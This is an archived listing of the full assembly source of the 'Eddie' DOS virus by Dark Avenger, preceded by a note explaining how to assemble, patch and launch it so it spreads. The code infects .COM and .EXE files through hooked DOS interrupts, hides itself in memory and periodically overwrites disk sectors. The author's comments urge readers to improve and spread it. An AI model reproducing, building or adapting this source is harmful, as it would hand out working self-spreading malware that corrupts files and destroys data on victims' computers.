home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / AVENGSRC.ASM < prev    next >
Assembly Source File  |  1991-01-13  |  29KB  |  1,014 lines

  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7. OK, Rob - here ya' go.  As I understand it, this is only one revision level
  8. lower than the "current" version of the virus -- but I have no idea what the
  9. differences are between the two.  Sigh.  TASM can be used to assemble the
  10. code, then you can replace (using DEBUG) the first 3 bytes of the linked
  11. .COM file to 9H 65 00 to jump to the start of the virus code.  I have been
  12. unable to cause the resulting executable to infect file on floppy until the
  13. virus is run on a hard drive first.  So, to begin infections (after
  14. assembling/linking/editing the executable):  1) Run the modified executable,
  15. 2) Run a program on your hard drive.  From there it will spread to files on
  16. the hard drive and the floppy.  FluShot+ makes a good monitor for watching
  17. this virus at work.  Have fun!
  18.  
  19. Thanks for your help, and thanks for a great weekend.
  20.  
  21. ;************************
  22. ;*                      *
  23. ;*      E D D I E       *
  24. ;*                      *
  25. ;*   by  Dark Avenger   *
  26. ;*                      *
  27. ;*      3-JAN-1989      *
  28. ;*                      *
  29. ;*     version 1.31x    *
  30. ;*                      *
  31. ;************************
  32.  
  33. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  34.  
  35. ; The original source of one of the first Bulgarian viruses is in front of
  36. ; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  37. ; the virus has spread surprisingly quickly troughout the country and made a
  38. ; quick round the globe.  (It's well-known in Eastern and Western Europe, as
  39. ; well as in USA.) Due to the aniversary of its creation, the source is
  40. ; distributed freely.  You have the rights to distribute the source which can
  41. ; be charged or free of charge, with the only condition not to modify it.
  42. ; The one, who intentionaly distributes this source modified in any way will
  43. ; be punished!  Still, the author will be glad if any of you improves it and
  44. ; spreads the resulting executive file (i.e., the virus itself).  Pay
  45. ; attention to the fact that after you assemble the source, the resulting
  46. ; .COM-file cannot be run.  For that purpose you have to create a three-byte
  47. ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  48. ; two files.  Don't try to place a JMP at the beginning of the source.
  49.  
  50. ; DISCLAIMER: The author does not take any responsability for any damage,
  51. ; either direct or implied, caused by the usage or not of this source or of
  52. ; the resulting code after assembly. No warrant is made about the product
  53. ; functionability or quality.
  54.  
  55. ; I cannot resist to express my special gratitude to my "populazer" Dipl.
  56. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  57. ; not, helps very much in the spreading of my viruses, in spite of the fact
  58. ; that he tries to do just the opposite (writing programs in C has never
  59. ; led to any good).
  60. ; Greetings to all virus writers!
  61.  
  62. code    segment
  63.         assume  cs:code,ds:code
  64. copyright:
  65.         db      'Eddie lives...somewhere in time!',0
  66. date_stamp:
  67.         dd      12239000h
  68. checksum:
  69.         db      30
  70.  
  71. ; Return the control to an .EXE file:
  72. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  73.  
  74.  
  75.  
  76.  
  77.  
  78. exit_exe:
  79.         mov     bx,es
  80.         add     bx,10h
  81.         add     bx,word ptr cs:[si+call_adr+2]
  82.         mov     word ptr cs:[si+patch+2],bx
  83.         mov     bx,word ptr cs:[si+call_adr]
  84.         mov     word ptr cs:[si+patch],bx
  85.         mov     bx,es
  86.         add     bx,10h
  87.         add     bx,word ptr cs:[si+stack_pointer+2]
  88.         mov     ss,bx
  89.         mov     sp,word ptr cs:[si+stack_pointer]
  90.         db      0eah                    ;JMP XXXX:YYYY
  91. patch:
  92.         dd      0
  93.  
  94. ; Returns control to a .COM file:
  95. ; Restores the first 3 bytes in the
  96. ; beginning of the file, loads SP and IP.
  97.  
  98. exit_com:
  99.  
  100.  
  101.  
  102.  
  103.         mov     di,100h
  104.         add     si,offset my_save
  105.         movsb
  106.         movsw
  107.         mov     sp,ds:[6]               ;This is incorrect
  108.         xor     bx,bx
  109.         push    bx
  110.         jmp     [si-11]                 ;si+call_adr-top_file
  111.  
  112. ; Program entry point
  113.  
  114. startup:
  115.         call    relative
  116. relative:
  117.         pop     si                      ;SI = $
  118.         sub     si,offset relative
  119.         cld
  120.         cmp     word ptr cs:[si+my_save],5a4dh
  121.         je      exe_ok
  122.         cli
  123.         mov     sp,si                   ;A separate stack is supported for
  124.         add     sp,offset top_file+100h ;the .COM files, in order not to
  125.         sti                             ;overlap the stack by the program
  126.         cmp     sp,ds:[6]
  127.         jnc     exit_com
  128. exe_ok:
  129.         push    ax
  130.         push    es
  131.         push    si
  132.         push    ds
  133.         mov     di,si
  134.  
  135. ; Looking for the address of INT 13h handler in ROM-BIOS
  136.  
  137.         xor     ax,ax
  138.         push    ax
  139.         mov     ds,ax
  140.         les     ax,ds:[13h*4]
  141.         mov     word ptr cs:[si+fdisk],ax
  142.         mov     word ptr cs:[si+fdisk+2],es
  143.         mov     word ptr cs:[si+disk],ax
  144.         mov     word ptr cs:[si+disk+2],es
  145.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
  146.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  147.         jne     nofdisk                 ;available
  148.         mov     word ptr cs:[si+disk+2],ax
  149.         mov     ax,ds:[40h*4]
  150.         mov     word ptr cs:[si+disk],ax
  151.         mov     dl,80h
  152.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
  153.         cmp     ax,0f000h               ;where the original INT 13h vector is
  154.         je      isfdisk
  155.         cmp     ah,0c8h
  156.         jc      nofdisk
  157.         cmp     ah,0f4h
  158.         jnc     nofdisk
  159.         test    al,7fh
  160.         jnz     nofdisk
  161.         mov     ds,ax
  162.         cmp     ds:[0],0aa55h
  163.         jne     nofdisk
  164.         mov     dl,ds:[2]
  165. isfdisk:
  166.         mov     ds,ax
  167.         xor     dh,dh
  168.         mov     cl,9
  169.         shl     dx,cl
  170.         mov     cx,dx
  171.         xor     si,si
  172. findvect:
  173.         lodsw                           ;Occasionally begins with:
  174.         cmp     ax,0fa80h               ;       CMP     DL,80h
  175.         jne     altchk                  ;       JNC     somewhere
  176.         lodsw
  177.         cmp     ax,7380h
  178.         je      intchk
  179.         jne     nxt0
  180. altchk:
  181.         cmp     ax,0c2f6h               ;or with:
  182.         jne     nxt                     ;       TEST    DL,80h
  183.         lodsw                           ;       JNZ     somewhere
  184.         cmp     ax,7580h
  185.         jne     nxt0
  186. intchk:
  187.         inc     si                      ;then there is:
  188.         lodsw                           ;       INT     40h
  189.         cmp     ax,40cdh
  190.         je      found
  191.         sub     si,3
  192. nxt0:
  193.         dec     si
  194.         dec     si
  195. nxt:
  196.         dec     si
  197.         loop    findvect
  198.         jmp     short nofdisk
  199. found:
  200.         sub     si,7
  201.         mov     word ptr cs:[di+fdisk],si
  202.         mov     word ptr cs:[di+fdisk+2],ds
  203. nofdisk:
  204.         mov     si,di
  205.         pop     ds
  206.  
  207. ; Check whether the program is present in memory:
  208.  
  209.         les     ax,ds:[21h*4]
  210.         mov     word ptr cs:[si+save_int_21],ax
  211.         mov     word ptr cs:[si+save_int_21+2],es
  212.         push    cs
  213.         pop     ds
  214.         cmp     ax,offset int_21
  215.         jne     bad_func
  216.         xor     di,di
  217.         mov     cx,offset my_size
  218. scan_func:
  219.         lodsb
  220.         scasb
  221.         jne     bad_func
  222.         loop    scan_func
  223.         pop     es
  224.         jmp     go_program
  225.  
  226. ; Move the program to the top of memory:
  227. ; (it's full of rubbish and bugs here)
  228.  
  229. bad_func:
  230.         pop     es
  231.         mov     ah,49h
  232.         int     21h
  233.         mov     bx,0ffffh
  234.         mov     ah,48h
  235.         int     21h
  236.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  237.         jc      go_program
  238.         mov     cx,es
  239.         stc
  240.         adc     cx,bx
  241.         mov     ah,4ah
  242.         int     21h
  243.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  244.         stc
  245.         sbb     es:[2],bx
  246.         push    es
  247.         mov     es,cx
  248.         mov     ah,4ah
  249.         int     21h
  250.         mov     ax,es
  251.         dec     ax
  252.         mov     ds,ax
  253.         mov     word ptr ds:[1],8
  254.         call    mul_16
  255.         mov     bx,ax
  256.         mov     cx,dx
  257.         pop     ds
  258.         mov     ax,ds
  259.         call    mul_16
  260.         add     ax,ds:[6]
  261.         adc     dx,0
  262.         sub     ax,bx
  263.         sbb     dx,cx
  264.         jc      mem_ok
  265.         sub     ds:[6],ax               ;Reduction of the segment size
  266. mem_ok:
  267.         pop     si
  268.         push    si
  269.         push    ds
  270.         push    cs
  271.         xor     di,di
  272.         mov     ds,di
  273.         lds     ax,ds:[27h*4]
  274.         mov     word ptr cs:[si+save_int_27],ax
  275.         mov     word ptr cs:[si+save_int_27+2],ds
  276.         pop     ds
  277.         mov     cx,offset aux_size
  278.         rep     movsb
  279.         xor     ax,ax
  280.         mov     ds,ax
  281.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  282.         mov     ds:[21h*4+2],es
  283.         mov     ds:[27h*4],offset int_27
  284.         mov     ds:[27h*4+2],es
  285.         mov     word ptr es:[filehndl],ax
  286.         pop     es
  287. go_program:
  288.         pop     si
  289.  
  290. ; Smash the next disk sector:
  291.  
  292.         xor     ax,ax
  293.         mov     ds,ax
  294.         mov     ax,ds:[13h*4]
  295.         mov     word ptr cs:[si+save_int_13],ax
  296.         mov     ax,ds:[13h*4+2]
  297.         mov     word ptr cs:[si+save_int_13+2],ax
  298.         mov     ds:[13h*4],offset int_13
  299.         add     ds:[13h*4],si
  300.         mov     ds:[13h*4+2],cs
  301.         pop     ds
  302.         push    ds
  303.         push    si
  304.         mov     bx,si
  305.         lds     ax,ds:[2ah]
  306.         xor     si,si
  307.         mov     dx,si
  308. scan_envir:                             ;Fetch program's name
  309.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  310.         dec     si
  311.         test    ax,ax
  312.         jnz     scan_envir
  313.         add     si,3
  314.         lodsb
  315.  
  316. ; The following instruction is a complete nonsense.  Try to enter a drive &
  317. ; directory path in lowercase, then run an infected program from there.
  318. ; As a result of an error here + an error in DOS the next sector is not
  319. ; smashed. Two memory bytes are smashed instead, most probably onto the
  320. ; infected program.
  321.  
  322.         sub     al,'A'
  323.         mov     cx,1
  324.         push    cs
  325.         pop     ds
  326.         add     bx,offset int_27
  327.         push    ax
  328.         push    bx
  329.         push    cx
  330.         int     25h
  331.         pop     ax
  332.         pop     cx
  333.         pop     bx
  334.         inc     byte ptr [bx+0ah]
  335.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  336.         jnz     store_sec               ;nothing is not enough for some.
  337.         mov     al,[bx+10h]
  338.         xor     ah,ah
  339.         mul     word ptr [bx+16h]
  340.         add     ax,[bx+0eh]
  341.         push    ax
  342.         mov     ax,[bx+11h]
  343.         mov     dx,32
  344.         mul     dx
  345.         div     word ptr [bx+0bh]
  346.         pop     dx
  347.         add     dx,ax
  348.         mov     ax,[bx+8]
  349.         add     ax,40h
  350.         cmp     ax,[bx+13h]
  351.         jc      store_new
  352.         inc     ax
  353.         and     ax,3fh
  354.         add     ax,dx
  355.         cmp     ax,[bx+13h]
  356.         jnc     small_disk
  357. store_new:
  358.         mov     [bx+8],ax
  359. store_sec:
  360.         pop     ax
  361.         xor     dx,dx
  362.         push    ax
  363.         push    bx
  364.         push    cx
  365.         int     26h
  366.  
  367.  
  368. ; The writing trough this interrupt is not the smartest thing, bacause it
  369. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  370.  
  371.         pop     ax
  372.         pop     cx
  373.         pop     bx
  374.         pop     ax
  375.         cmp     byte ptr [bx+0ah],0
  376.         jne     not_now
  377.         mov     dx,[bx+8]
  378.         pop     bx
  379.         push    bx
  380.         int     26h
  381. small_disk:
  382.         pop     ax
  383. not_now:
  384.         pop     si
  385.         xor     ax,ax
  386.         mov     ds,ax
  387.         mov     ax,word ptr cs:[si+save_int_13]
  388.         mov     ds:[13h*4],ax
  389.         mov     ax,word ptr cs:[si+save_int_13+2]
  390.         mov     ds:[13h*4+2],ax
  391.         pop     ds
  392.         pop     ax
  393.         cmp     word ptr cs:[si+my_save],5a4dh
  394.         jne     go_exit_com
  395.         jmp     exit_exe
  396. go_exit_com:
  397.         jmp     exit_com
  398. int_24:
  399.         mov     al,3                    ;This instruction seems unnecessary
  400.         iret
  401.  
  402. ; INT 27h handler (this is necessary)
  403.  
  404. int_27:
  405.         pushf
  406.         call    alloc
  407.         popf
  408.         jmp     dword ptr cs:[save_int_27]
  409.  
  410. ; During the DOS functions Set & Get Vector it seems that the virus has not
  411. ; intercepted them (this is a doubtfull advantage and it is a possible
  412. ; source of errors with some "intelligent" programs)
  413.  
  414. set_int_27:
  415.         mov     word ptr cs:[save_int_27],dx
  416.         mov     word ptr cs:[save_int_27+2],ds
  417.         popf
  418.         iret
  419. set_int_21:
  420.         mov     word ptr cs:[save_int_21],dx
  421.         mov     word ptr cs:[save_int_21+2],ds
  422.         popf
  423.         iret
  424. get_int_27:
  425.         les     bx,dword ptr cs:[save_int_27]
  426.         popf
  427.         iret
  428. get_int_21:
  429.         les     bx,dword ptr cs:[save_int_21]
  430.         popf
  431.         iret
  432.  
  433. exec:
  434.  
  435.  
  436.         call    do_file
  437.         call    alloc
  438.         popf
  439.         jmp     dword ptr cs:[save_int_21]
  440.  
  441.         db      'Diana P.',0
  442.  
  443. ; INT 21h handler.  Infects files during execution, copying, browsing or
  444. ; creating and some other operations. The execution of functions 0 and 26h
  445. ; has bad consequences.
  446.  
  447. int_21:
  448.         push    bp
  449.         mov     bp,sp
  450.         push    [bp+6]
  451.         popf
  452.         pop     bp
  453.         pushf
  454.         call    ontop
  455.         cmp     ax,2521h
  456.         je      set_int_21
  457.         cmp     ax,2527h
  458.         je      set_int_27
  459.         cmp     ax,3521h
  460.         je      get_int_21
  461.         cmp     ax,3527h
  462.         je      get_int_27
  463.         cld
  464.         cmp     ax,4b00h
  465.         je      exec
  466.         cmp     ah,3ch
  467.         je      create
  468.         cmp     ah,3eh
  469.         je      close
  470.         cmp     ah,5bh
  471.         jne     not_create
  472. create:
  473.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  474.         jne     dont_touch
  475.         call    see_name
  476.         jnz     dont_touch
  477.         call    alloc
  478.         popf
  479.         call    function
  480.         jc      int_exit
  481.         pushf
  482.         push    es
  483.         push    cs
  484.         pop     es
  485.         push    si
  486.         push    di
  487.         push    cx
  488.         push    ax
  489.         mov     di,offset filehndl
  490.         stosw
  491.         mov     si,dx
  492.         mov     cx,65
  493. move_name:
  494.         lodsb
  495.         stosb
  496.         test    al,al
  497.         jz      all_ok
  498.         loop    move_name
  499.         mov     word ptr es:[filehndl],cx
  500. all_ok:
  501.         pop     ax
  502.         pop     cx
  503.         pop     di
  504.         pop     si
  505.         pop     es
  506. go_exit:
  507.         popf
  508.         jnc     int_exit                ;JMP
  509. close:
  510.         cmp     bx,word ptr cs:[filehndl]
  511.         jne     dont_touch
  512.         test    bx,bx
  513.         jz      dont_touch
  514.         call    alloc
  515.         popf
  516.         call    function
  517.         jc      int_exit
  518.         pushf
  519.         push    ds
  520.         push    cs
  521.         pop     ds
  522.         push    dx
  523.         mov     dx,offset filehndl+2
  524.         call    do_file
  525.         mov     word ptr cs:[filehndl],0
  526.         pop     dx
  527.         pop     ds
  528.         jmp     go_exit
  529. not_create:
  530.         cmp     ah,3dh
  531.         je      touch
  532.         cmp     ah,43h
  533.         je      touch
  534.         cmp     ah,56h                  ;Unfortunately, the command inter-
  535.         jne     dont_touch              ;preter does not use this function
  536. touch:
  537.         call    see_name
  538.         jnz     dont_touch
  539.         call    do_file
  540. dont_touch:
  541.         call    alloc
  542.         popf
  543.         call    function
  544. int_exit:
  545.         pushf
  546.         push    ds
  547.         call    get_chain
  548.         mov     byte ptr ds:[0],'Z'
  549.         pop     ds
  550.         popf
  551. dummy   proc    far                     ;???
  552.         ret     2
  553. dummy   endp
  554.  
  555. ; Checks whether the file is .COM or .EXE.
  556. ; It is not called upon file execution.
  557.  
  558. see_name:
  559.         push    ax
  560.         push    si
  561.         mov     si,dx
  562. scan_name:
  563.         lodsb
  564.         test    al,al
  565.         jz      bad_name
  566.         cmp     al,'.'
  567.         jnz     scan_name
  568.         call    get_byte
  569.         mov     ah,al
  570.         call    get_byte
  571.         cmp     ax,'co'
  572.         jz      pos_com
  573.         cmp     ax,'ex'
  574.         jnz     good_name
  575.         call    get_byte
  576.         cmp     al,'e'
  577.         jmp     short good_name
  578. pos_com:
  579.         call    get_byte
  580.         cmp     al,'m'
  581.         jmp     short good_name
  582. bad_name:
  583.         inc     al
  584. good_name:
  585.         pop     si
  586.         pop     ax
  587.         ret
  588.  
  589. ; Converts into lowercase (the subroutines are a great thing).
  590.  
  591. get_byte:
  592.         lodsb
  593.         cmp     al,'C'
  594.         jc      byte_got
  595.         cmp     al,'Y'
  596.         jnc     byte_got
  597.         add     al,20h
  598. byte_got:
  599.         ret
  600.  
  601. ; Calls the original INT 21h.
  602.  
  603. function:
  604.         pushf
  605.         call    dword ptr cs:[save_int_21]
  606.         ret
  607.  
  608. ; Arrange to infect an executable file.
  609.  
  610. do_file:
  611.         push    ds                      ;Save the registers in stack
  612.         push    es
  613.         push    si
  614.         push    di
  615.         push    ax
  616.         push    bx
  617.         push    cx
  618.         push    dx
  619.         mov     si,ds
  620.         xor     ax,ax
  621.         mov     ds,ax
  622.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  623.         push    es                      ;and changes them with what is needed
  624.         push    ax
  625.         mov     ds:[24h*4],offset int_24
  626.         mov     ds:[24h*4+2],cs
  627.         les     ax,ds:[13h*4]
  628.         mov     word ptr cs:[save_int_13],ax
  629.         mov     word ptr cs:[save_int_13+2],es
  630.         mov     ds:[13h*4],offset int_13
  631.         mov     ds:[13h*4+2],cs
  632.         push    es
  633.         push    ax
  634.         mov     ds,si
  635.         xor     cx,cx                   ;Arranges to infect Read-only files
  636.         mov     ax,4300h
  637.         call    function
  638.         mov     bx,cx
  639.         and     cl,0feh
  640.         cmp     cl,bl
  641.         je      dont_change
  642.         mov     ax,4301h
  643.         call    function
  644.         stc
  645. dont_change:
  646.         pushf
  647.         push    ds
  648.         push    dx
  649.         push    bx
  650.         mov     ax,3d02h                ;Now we can safely open the file
  651.         call    function
  652.         jc      cant_open
  653.         mov     bx,ax
  654.         call    disease
  655.         mov     ah,3eh                  ;Close it
  656.  
  657.         call    function
  658. cant_open:
  659.         pop     cx
  660.         pop     dx
  661.         pop     ds
  662.         popf
  663.         jnc     no_update
  664.         mov     ax,4301h                ;Restores file's attributes
  665.         call    function                ;if they were changed (just in case)
  666. no_update:
  667.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  668.         mov     ds,ax
  669.         pop     ds:[13h*4]
  670.         pop     ds:[13h*4+2]
  671.         pop     ds:[24h*4]
  672.         pop     ds:[24h*4+2]
  673.         pop     dx                      ;Register restoration
  674.         pop     cx
  675.         pop     bx
  676.         pop     ax
  677.         pop     di
  678.         pop     si
  679.         pop     es
  680.         pop     ds
  681.         ret
  682.  
  683. ; This routine is the working horse.
  684.  
  685. disease:
  686.         push    cs
  687.         pop     ds
  688.         push    cs
  689.         pop     es
  690.         mov     dx,offset top_save      ;Read the file beginning
  691.         mov     cx,18h
  692.         mov     ah,3fh
  693.         int     21h
  694.         xor     cx,cx
  695.         xor     dx,dx
  696.         mov     ax,4202h                ;Save file length
  697.         int     21h
  698.         mov     word ptr [top_save+1ah],dx
  699.         cmp     ax,offset my_size       ;This should be top_file
  700.         sbb     dx,0
  701.         jc      stop_fuck_2             ;Small files are not infected
  702.         mov     word ptr [top_save+18h],ax
  703.         cmp     word ptr [top_save],5a4dh
  704.         jne     com_file
  705.         mov     ax,word ptr [top_save+8]
  706.         add     ax,word ptr [top_save+16h]
  707.         call    mul_16
  708.         add     ax,word ptr [top_save+14h]
  709.         adc     dx,0
  710.         mov     cx,dx
  711.         mov     dx,ax
  712.         jmp     short see_sick
  713. com_file:
  714.         cmp     byte ptr [top_save],0e9h
  715.         jne     see_fuck
  716.         mov     dx,word ptr [top_save+1]
  717.         add     dx,103h
  718.         jc      see_fuck
  719.         dec     dh
  720.         xor     cx,cx
  721.  
  722. ; Check if the file is properly infected
  723.  
  724.  
  725. see_sick:
  726.         sub     dx,startup-copyright
  727.         sbb     cx,0
  728.         mov     ax,4200h
  729.         int     21h
  730.         add     ax,offset top_file
  731.         adc     dx,0
  732.         cmp     ax,word ptr [top_save+18h]
  733.         jne     see_fuck
  734.         cmp     dx,word ptr [top_save+1ah]
  735.         jne     see_fuck
  736.         mov     dx,offset top_save+1ch
  737.         mov     si,dx
  738.         mov     cx,offset my_size
  739.         mov     ah,3fh
  740.         int     21h
  741.         jc      see_fuck
  742.         cmp     cx,ax
  743.         jne     see_fuck
  744.         xor     di,di
  745. next_byte:
  746.  
  747.         lodsb
  748.         scasb
  749.         jne     see_fuck
  750.         loop    next_byte
  751. stop_fuck_2:
  752.         ret
  753. see_fuck:
  754.         xor     cx,cx                   ;Seek to the end of file
  755.         xor     dx,dx
  756.         mov     ax,4202h
  757.         int     21h
  758.         cmp     word ptr [top_save],5a4dh
  759.         je      fuck_exe
  760.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  761.         adc     dx,0
  762.         je      fuck_it
  763.         ret
  764.  
  765. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  766.  
  767. fuck_exe:
  768.         mov     dx,word ptr [top_save+18h]
  769.         neg     dl
  770.         and     dx,0fh
  771.         xor     cx,cx
  772.         mov     ax,4201h
  773.         int     21h
  774.         mov     word ptr [top_save+18h],ax
  775.         mov     word ptr [top_save+1ah],dx
  776. fuck_it:
  777.         mov     ax,5700h                ;Get file's date
  778.         int     21h
  779.         pushf
  780.         push    cx
  781.         push    dx
  782.         cmp     word ptr [top_save],5a4dh
  783.         je      exe_file                ;Very clever, isn't it?
  784.         mov     ax,100h
  785.         jmp     short set_adr
  786. exe_file:
  787.         mov     ax,word ptr [top_save+14h]
  788.         mov     dx,word ptr [top_save+16h]
  789. set_adr:
  790.         mov     di,offset call_adr
  791.         stosw
  792.         mov     ax,dx
  793.         stosw
  794.         mov     ax,word ptr [top_save+10h]
  795.         stosw
  796.         mov     ax,word ptr [top_save+0eh]
  797.         stosw
  798.         mov     si,offset top_save      ;This offers the possibilities to
  799.         movsb                           ;some nasty programs to restore
  800.         movsw                           ;exactly the original length
  801.         xor     dx,dx                   ;of the .EXE files
  802.         mov     cx,offset top_file
  803.         mov     ah,40h
  804.         int     21h                     ;Write the virus
  805.         jc      go_no_fuck              ;(don't trace here)
  806.         xor     cx,ax
  807.         jnz     go_no_fuck
  808.         mov     dx,cx
  809.         mov     ax,4200h
  810.         int     21h
  811.         cmp     word ptr [top_save],5a4dh
  812.         je      do_exe
  813.         mov     byte ptr [top_save],0e9h
  814.         mov     ax,word ptr [top_save+18h]
  815.         add     ax,startup-copyright-3
  816.         mov     word ptr [top_save+1],ax
  817.         mov     cx,3
  818.         jmp     short write_header
  819. go_no_fuck:
  820.         jmp     short no_fuck
  821.  
  822. ; Construct the .EXE file's header
  823.  
  824. do_exe:
  825.         call    mul_hdr
  826.         not     ax
  827.         not     dx
  828.         inc     ax
  829.         jne     calc_offs
  830.         inc     dx
  831. calc_offs:
  832.         add     ax,word ptr [top_save+18h]
  833.         adc     dx,word ptr [top_save+1ah]
  834.         mov     cx,10h
  835.         div     cx
  836.         mov     word ptr [top_save+14h],startup-copyright
  837.         mov     word ptr [top_save+16h],ax
  838.         add     ax,(offset top_file-offset copyright-1)/16+1
  839.         mov     word ptr [top_save+0eh],ax
  840.         mov     word ptr [top_save+10h],100h
  841.         add     word ptr [top_save+18h],offset top_file
  842.         adc     word ptr [top_save+1ah],0
  843.         mov     ax,word ptr [top_save+18h]
  844.         and     ax,1ffh
  845.         mov     word ptr [top_save+2],ax
  846.         pushf
  847.         mov     ax,word ptr [top_save+19h]
  848.         shr     byte ptr [top_save+1bh],1
  849.         rcr     ax,1
  850.         popf
  851.         jz      update_len
  852.         inc     ax
  853. update_len:
  854.         mov     word ptr [top_save+4],ax
  855.         mov     cx,18h
  856. write_header:
  857.         mov     dx,offset top_save
  858.         mov     ah,40h
  859.         int     21h                     ;Write the file beginning
  860. no_fuck:
  861.         pop     dx
  862.         pop     cx
  863.         popf
  864.         jc      stop_fuck
  865.         mov     ax,5701h                ;Restore the original file date
  866.         int     21h
  867. stop_fuck:
  868.         ret
  869.  
  870. ; The following is used by the INT 21h and INT 27h handlers in connection
  871. ; to the program hiding in memory from those who don't need to see it.
  872. ; The whole system is absurde and meaningless and it is also another source
  873. ; for program conflicts.
  874.  
  875. alloc:
  876.         push    ds
  877.         call    get_chain
  878.         mov     byte ptr ds:[0],'M'
  879.         pop     ds
  880.  
  881. ; Assures that the program is the first one in the processes,
  882. ; which have intercepted INT 21h (yet another source of conflicts).
  883.  
  884. ontop:
  885.         push    ds
  886.         push    ax
  887.         push    bx
  888.         push    dx
  889.         xor     bx,bx
  890.         mov     ds,bx
  891.         lds     dx,ds:[21h*4]
  892.         cmp     dx,offset int_21
  893.         jne     search_segment
  894.         mov     ax,ds
  895.         mov     bx,cs
  896.         cmp     ax,bx
  897.         je      test_complete
  898.  
  899. ; Searches the segment of the sucker who has intercepted INT 21h, in
  900. ; order to find where it has stored the old values and to replace them.
  901. ; Nothing is done for INT 27h.
  902.  
  903.         xor     bx,bx
  904. search_segment:
  905.         mov     ax,[bx]
  906.         cmp     ax,offset int_21
  907.         jne     search_next
  908.         mov     ax,cs
  909.         cmp     ax,[bx+2]
  910.         je      got_him
  911. search_next:
  912.         inc     bx
  913.         jne     search_segment
  914.         je      return_control
  915. got_him:
  916.         mov     ax,word ptr cs:[save_int_21]
  917.         mov     [bx],ax
  918.         mov     ax,word ptr cs:[save_int_21+2]
  919.         mov     [bx+2],ax
  920.         mov     word ptr cs:[save_int_21],dx
  921.         mov     word ptr cs:[save_int_21+2],ds
  922.         xor     bx,bx
  923.  
  924. ; Even if he has not saved them in the same segment, this won't help him.
  925.  
  926. return_control:
  927.         mov     ds,bx
  928.         mov     ds:[21h*4],offset int_21
  929.         mov     ds:[21h*4+2],cs
  930. test_complete:
  931.         pop     dx
  932.         pop     bx
  933.         pop     ax
  934.         pop     ds
  935.         ret
  936.  
  937. ; Fetch the segment of the last MCB
  938.  
  939. get_chain:
  940.         push    ax
  941.         push    bx
  942.         mov     ah,62h
  943.         call    function
  944.         mov     ax,cs
  945.         dec     ax
  946.         dec     bx
  947. next_blk:
  948.         mov     ds,bx
  949.         stc
  950.         adc     bx,ds:[3]
  951.         cmp     bx,ax
  952.         jc      next_blk
  953.         pop     bx
  954.         pop     ax
  955.         ret
  956.  
  957. ; Multiply by 16
  958.  
  959. mul_hdr:
  960.         mov     ax,word ptr [top_save+8]
  961. mul_16:
  962.         mov     dx,10h
  963.         mul     dx
  964.         ret
  965.  
  966.         db      'This program was written in the city of Sofia '
  967.         db      '(C) 1988-89 Dark Avenger',0
  968.  
  969. ; INT 13h handler.
  970. ; Calls the original vectors in BIOS, if it's a writing call
  971.  
  972. int_13:
  973.         cmp     ah,3
  974.         jnz     subfn_ok
  975.         cmp     dl,80h
  976.         jnc     hdisk
  977.         db      0eah                    ;JMP XXXX:YYYY
  978. my_size:                                ;--- Up to here comparison
  979. disk:                                   ; with the original is made
  980.         dd      0
  981. hdisk:
  982.         db      0eah                    ;JMP XXXX:YYYY
  983. fdisk:
  984.         dd      0
  985. subfn_ok:
  986.         db      0eah                    ;JMP XXXX:YYYY
  987. save_int_13:
  988.         dd      0
  989. call_adr:
  990.         dd      100h
  991.  
  992. stack_pointer:
  993.         dd      0                       ;The original value of SS:SP
  994. my_save:
  995.         int     20h                     ;The original contents of the first
  996.         nop                             ;3 bytes of the file
  997. top_file:                               ;--- Up to here the code is written
  998. filehndl    equ $                       ; in the files
  999. filename    equ filehndl+2              ;Buffer for the name of the opened file
  1000. save_int_27 equ filename+65             ;Original INT 27h vector
  1001. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  1002. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  1003. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  1004. contains
  1005.                                         ; - The first 24 bytes read from file
  1006.                                         ; - File length (4 bytes)
  1007.                                         ; - The last bytes of the file
  1008.                                         ;   (my_size bytes)
  1009. top_bz      equ top_save-copyright
  1010. my_bz       equ my_size-copyright
  1011.  
  1012. code    ends
  1013.         end
  1014.